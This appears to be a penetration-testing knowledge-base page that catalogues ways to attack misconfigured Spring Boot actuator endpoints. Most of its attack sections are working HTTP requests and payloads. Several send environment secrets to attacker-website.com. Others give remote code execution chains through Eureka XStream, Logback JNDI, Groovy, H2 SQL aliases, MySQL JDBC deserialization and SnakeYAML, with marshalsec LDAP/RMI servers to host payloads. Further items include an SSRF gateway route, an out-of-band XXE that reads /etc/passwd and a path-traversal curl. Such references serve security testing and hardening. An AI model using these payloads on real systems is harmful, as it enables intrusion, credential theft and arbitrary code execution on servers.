Spring Boot Actuators
Spring Boot actuators overview
Spring Boot includes a number of additional features called actuators to help monitor and control an application when it is pushed to production. Actuators allow controling and monitoring an application using either HTTP or JMX endpoints. Auditing, health and metrics gathering can also open a hidden door to the server if an application has been misconfigured.
Spring Boot includes a number of built-in endpoints (or endpoints for Spring Boot 1.x) and lets developers add their own. For example, the health endpoint provides basic application health information.
Each individual endpoint can be enabled or disabled and exposed over HTTP or JMX. An endpoint is considered to be available when it is both enabled and exposed. The built-in endpoints will only be auto-configured when they are available. Most applications choose exposure via HTTP, where the ID of the endpoint along with a prefix of /actuator is mapped to a URL. For example, by default, the health endpoint is mapped to /actuator/health.
To learn more about the actuator's endpoints and their request and response formats check Spring Boot Actuator Web API Documentation.
env
env exposes properties from Spring's ConfigurableEnvironment.
eureka.client.serviceUrl.defaultZone
eureka.client.serviceUrl.defaultZone requires the following conditions:
/refreshendpoint is availableAn application uses
spring-cloud-starter-netflix-eureka-clientdependency
Retrieving env properties
You can get env property value in plaintext with the next steps:
Set the
eureka.client.serviceUrl.defaultZoneproperty:POST /actuator/env HTTP/1.1 Content-Type: application/x-www-form-urlencoded { "name": "eureka.client.serviceUrl.defaultZone", "value": "http://value:${your.property.name}@attacker-website.com/" }Refresh the configuration
POST /actuator/refresh HTTP/1.1 Content-Type: application/jsonRetrive the property value from
Authorizationheader fromattacker-website.comlogs
References:
XStream deserialization RCE
It requires Eureka-Client version < 1.8.7.
You can gain RCE with the following steps:
Set up a website that responds with a malicious XStream payload, check springboot-xstream-rce.py
Set the
eureka.client.serviceUrl.defaultZoneproperty:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "eureka.client.serviceUrl.defaultZone", "value": "http://attacker-website.com/payload" }Refresh the configuration:
POST /actuator/refresh HTTP/1.1 Content-Type: application/jsonCode will be executed
It is possible because:
The
eureka.client.serviceUrl.defaultZoneproperty is set to the external eureka server URLRefresh triggers a request to the fake eureka server that will return a malicious payload
Response parsing triggers XStream deserialization that leads to code execution
References:
logging.config
logging.config requires /restart is available.
Logback JDNI RCE
logging.config can lead to RCE via Logback JNDI, check Logback JNDI RCE.
How to exploit:
Host
logbackconfig XML file with the following context:<configuration> <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" /> </configuration>Host a malicious LDAP service, check the article how to prepare a payload and start the service
Set
logging.configproperties:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "logging.config", "value": "http://attacker-website.com/logback.xml" }Restart an application:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
Resource:
Groovy RCE
How to exploit:
Host the
payload.groovyfile with the following content:Runtime.getRuntime().exec("open -a Calculator")Set
logging.config:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "logging.config", "value": "http://attacker-website.com/payload.groovy" }Restart an application:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
The chain contains the following steps:
An attacker sets the Logback configuration file using the
logging.configpropertyAn application requests the configuration after restarting
ch.qos.logback.classic.util.ContextInitializer.javafromlogback-classicdetermines whether the URLgroovyends withGroovy code from the configuration file is executed
References:
spring.main.sources
spring.main.sources requires /restart is available.
How to exploit:
Host the
payload.groovyfile with the following content:Runtime.getRuntime().exec("open -a Calculator")Set
logging.config:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.main.sources", "value": "http://attacker-website.com/payload.groovy" }Restart an application:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
The chain contains the following steps:
Set
spring.main.sourcesas an external URL with a payloadAn application requests the URL after restarting
org.springframework.boot.BeanDefinitionLoader.javafromspring-bootdetermines whether the URLgroovyends withGroovy code from the configuration file is executed
References:
spring.datasource.tomcat.validationQuery
spring.datasource.tomcat.validationQuery allows specifying any SQL query, that will be automatically executed against the current database. It could be any statement, including insert, update, or delete.

spring.datasource.tomcat.url
spring.datasource.tomcat.url allows modifying the current JDBC connection string.
The problem here is that when the application establishing the connection to the database is already running, just updating the JDBC string has no effect. But you can try using spring.datasource.tomcat.max-active to increase the number of simultaneous database connections.
Thus, you can change the JDBC connection string, increase the number of connections, and then send many requests to the application to simulate a heavy load. Under load, the application will create a new database connection with an updated malicious JDBC string.

spring.datasource.data
spring.datasource.data can be used to gain RCE if the following coditions are met:
/restartis availableh2databaseandspring-boot-starter-data-jpadependencies are used
How to exploit:
Host
payload.sqlfile with the following content:CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');The
T5method in the payload must be renamed (toT6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.Set the
spring.datasource.data:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.data", "value": "http://attacker-website.com/payload.sql" }Restart an application:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
The exploitaion chain contains the following steps:
An attacker set
spring.datasource.dataas the URL of the JDBC DML SQL fileAn application requests the URL after restarting
org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.javafromspring-boot-autoconfigureuses therunScriptsmethod to execute the h2 database SQL code that leads to RCE
References:
spring.datasource.url
spring.datasource.url is database connection string that is used only for the first connection. You can chain it with JDBC deserialization vulnerability in MySQL to gain RCE. The vulnerability requires the following conditions:
/refreshis availablemysql-connector-javadependency is used
How to exploit:
Use the
/actuator/envendpoint to fetch the next values:mysql-connector-javaversion number (5.x or 8.x)Common deserialization gadgets, such as
commons-collectionsspring.datasource.urlvalue to facilitate later crafting of its normal JDBC URL
Create a payload with ysoserial:
java -jar ysoserial.jar CommonsCollections3 calc > payload.serUse springboot-jdbc-deserialization-rce.py to host
payload.serSet the
spring.datasource.urlproperty:mysql-connector-javaversion 5.x:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.url", "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" }mysql-connector-javaversion 8.x:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.url", "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" }Refresh the configuration:
POST /actuator/refresh HTTP/1.1 Content-Type: application/jsonTry to access an endpoint that will trigger a database query, for example
/product/list, or find other ways to query the database and trigger the vulnerability
The exploitaion chain contains the following steps:
spring.datasource.urlis set to the external MySQL JDBC URLRefresh the configuration
An application establishes a new DB connection using the malicious MySQL JDBS URL when performing a DB query
The malicious MySQL server returns a payload at the appropriate stage of establishing the connection
mysql-connector-javadeserialize the payload and execute arbitrary code
References:
spring.cloud.bootstrap.location
spring.cloud.bootstrap.location requires the following conditions:
/refreshendpoint is availablespring-cloud-starterversion< 1.3.0.RELEASE
Retrieving env properties
You can get env property value in plaintext with the next steps:
Set the
spring.cloud.bootstrap.locationproperty:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.cloud.bootstrap.location", "value": "http://attacker-website.com/?=${your.property.name}" }Refresh the configuration
POST /actuator/refresh HTTP/1.1 Content-Type: application/jsonRetrive the property value from
attacker-website.comlogs
References:
SnakeYML RCE
spring.cloud.bootstrap.location allows loading an external config in YAML format. You can gain code execution with the next steps:
Host
config.ymlathttp://attacker-website.com/config.ymlwith the following content:!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-website.com/payload.jar"] ]] ]Host
payload.jarwith the code that will be executed, check marshalsec research and artsploit/yaml-payload for how to prepare the payloadSet the
spring.cloud.bootstrap.locationproperty:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.cloud.bootstrap.location", "value": "http://attacker-website.com/yaml-payload.yml" }Refresh the configuration:
POST /actuator/refresh HTTP/1.1 Content-Type: application/jsonCode will be executed
It is possible because:
The
spring.cloud.bootstrap.locationis set to the URL with the external malicious configRefresh triggers a request for the config file on a remote server and retrieves its content
SnakeYAMLcompletes the specified action when parsing the malicious config due to a deserialization vulnerabilitySnakeYAMLusesjava.net.URLto pull the malicious jar from the remote serverSnakeYAMLsearches for a class in the jar that implements thejavax.script.ScriptEngineFactoryinterface and creates an instance of itThe instance creation leads to malicious code execution
References:
spring.datasource.hikari.connection-test-query
spring.datasource.hikari.connection-test-query sets a query that will be executed before granting a connection from a pool. It can lead to RCE if the following conditions are met:
/restartendpoint is availablecom.h2database.h2dependency is used
You can gain code execution with the following steps:
Set the
spring.datasource.hikari.connection-test-querypropertyPOST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.hikari.connection-test-query", "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');" }The
T5method in the payload must be renamed (toT6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.Restart the application:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
How it works:
spring.datasource.hikari.connection-test-queryis set to a malicious SQL statement that use CREATE ALIAS to create a custom functionspring.datasource.hikari.connection-test-querycorrespondes to theconnectionTestQueryconfiguration of the HikariCP database connection pool and define the SQL statement to be executed before a new database connectionRestart establishes a new database connection
The custom function is executed
References:
gateway
The gateway actuator endpoint lets you monitor and interact with a Spring Cloud Gateway application. In other words, you can define routes for the application and use gateway actuator to trigger requests according to these routes.
SSRF
There are at least the following issues:
Routes can provide access to hidden or internal endpoints, which can be misconfigured or vulnerable. You can fetch all available routes via
GET-request to/actuator/gateway/routes.Full SSRF if adding routes do not require administrative permissions. The next request will create a route to localhost:
POST /actuator/gateway/routes/new_route HTTP/1.1 Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://localhost", "order": 0 }Send refresh request to apply new route:
POST /actuator/gateway/refresh HTTP/1.1 Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://localhost", "order": 0 }
References:
SpEL code injection
Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to CVE-2022-22947 that leads to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Check the following articles with details:
trace or httptrace
Displays HTTP trace information (by default, the last 100 HTTP request-response exchanges). It may disclose details about requests of internal applications as well as user cookies and JWT tokens.
trace requires an HttpTraceRepository bean.
mappings
mappings displays a collated list of all @RequestMapping paths.
sessions
sessions allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a Servlet-based web application using Spring Session.
shutdown
shutdown lets an application be gracefully shutdown. Disabled by default.
h2-console
It requires the following conditions:
com.h2database.h2dependency is usedh2 console is enabled in Spring configuration
spring.h2.console.enabled=true
You can gain RCE via JDNI in h2 database console:
Access the h2 console
/h2-console. An application will refirect to/h2-console/login.jsp?jsessionid=xxxxxx. Catchjsessionidvalue.Prepare a Java code for execution, you can reuse the JNDIObject.java
Compile in such a way that it is compatible with earlier JDK versions:
javac -source 1.5 -target 1.5 JNDIObject.javaHost compiled
JNDIObject.classathttp://attacker-website.com/Set up a LDAP service with marshalsec:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389Trigger JNDI injection:
POST /h2-console/login.do?jsessionid=xxxxxx Host: vulnerable-website.com Content-Type: application/json Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx { "language": "en", "setting": "Generic+H2+(Embedded)", "name": "Generic+H2+(Embedded)", "driver": "javax.naming.InitialContext", "url": "ldap://attacker-website.com:1389/JNDIObject", "user": "", "password": "" }
References:
heapdump
heapdump returns a hprof heap dump file that may contain sensitive data, such as env properties. To retrieve data from a prof heap dump use Eclipse Memory Analyzer tool, check Find password plaintext in spring heapdump using MAT.
References:
jolokia
Exposes JMX beans over HTTP (when Jolokia is on the classpath, not available for WebFlux). Requires a dependency on jolokia-core.
Extract env properties
You can invoke relevant MBeans to retrive env property values in plaintext. Below you can find MBeans that can be used for this purpose. However, the situation may differ and the Mbeans listed may not be available. However, you can search methods that can be called by keywords like getProperty.
References:
org.springframework.boot
You can get env property value in plaintext using the following request:
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}org.springframework.boot MBean calls the getProperty method of the org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar class instance.
org.springframework.cloud.context.environment
You can get env property value in plaintext using the following request:
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}org.springframework.cloud.context.environment MBean calls the getProperty method of the org.springframework.cloud.context.environment.EnvironmentManager class instance.
Logback::reloadByURL
You can list all available MBeans actions using the /jolokia/list endpoint. Most MBeans actions just expose some system data, but if the reloadByURL action provided by the Logback library exists:

the logging configuration can be reload from an external URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xmlOut-Of-Band XXE
Logback uses XML configuration parsed by the SAXParser XML parser with external entities enabled. You can exploit this feature to trigger an Out-Of-Band XXE:
<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website.com/file.dtd">%remote;%int;]>
<a>&trick;</a><!-- file.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
References:
Logback JNDI RCE
The Logback configuration has the feature Obtaining variables from JNDI. In the XML configuration file you can include a tag like:
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"/>In this case, the env-entry-name attribute will be passed to the DirContext.lookup() method. Providing an arbitrary name to the lookup method can lead to remote code execution via remote class loading.
You can gain code execution with the following steps:
Get the
/jolokia/listto check ifch.qos.logback.classic.jmx.JMXConfiguratorclass andreloadByURLmethod are availableHost the logback configuration at
http://attacker-website.com/logback.xml:<configuration> <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" /> </configuration>Prepare a Java code for execution, you can reuse the JNDIObject.java
Compile in such a way that it is compatible with earlier JDK versions:
javac -source 1.5 -target 1.5 JNDIObject.javaHost the compiled
JNDIObject.classathttp://attacker-website.com/Set up LDAP server, use marshalsec to set up the server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389Load the log configuration from an external URL with the following request:
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1If an application successfully requests
logback.xmlandmarshalsecreceives the target request, but an application does not requestJNDIObject.class, it is likely that an application's JDK version is too high, causing JNDI usage to fail.
It is possible due to the following steps:
Direct access to the URL that could cause the vulnerability is equivalent to calling the
ch.qos.logback.classic.jmx.JMXConfiguratorclass method via jolokiareloadByURLAn application requests a XML configuration file from an external URL
XML configuration is parsed by
saxParser.parse, it leads to XXE vulnerabilityThe external JNDI server address is specified using the
insertFormJNDItag in the Logback XML configuration fileAn application requests a malicious JNDI server, it leads to JNDI injection and RCE
References:
Tomcat::createJNDIRealm
One of the MBeans of Tomcat (embedded into Spring Boot) is createJNDIRealm. createJNDIRealm allows creating JNDIRealm that is vulnerable to JNDI injection. You can expoit with the next steps:
Get the
/jolokia/listto check iftype=MBeanFactoryandandcreateJNDIRealmare in placePrepare a Java code for execution, you can reuse the JNDIObject.java
Compile the code and host the compiled class at
http://attacker-website.com/Set up a RMI service with marshalsec:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389Send the payload using springboot-realm-jndi-rce.py
It is possible due to the following chain:
Create
JNDIRealmwithcreateJNDIRealmSet the
connectionURLaddress to RMI Service URLSet
contextFactorytoRegistryContextFactoryStop Realm
Start Realm to trigger JNDI injection of specified RMI address, causing RCE
References:
Jookia CVEs
logfile
logfile returns the contents of the logfile (if logging.file.name or logging.file.path properties have been set). Supports the use of the HTTP Range header to retrieve part of the log file's content.
logview
spring-boot-actuator-logview version before 0.2.13 is vulnerable to path traversal that allows you to retreive arbitrary files.
# retreaving /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../References:
dump or threaddump
dump or threaddump performs a thread dump from the application's JVM.
References
Last updated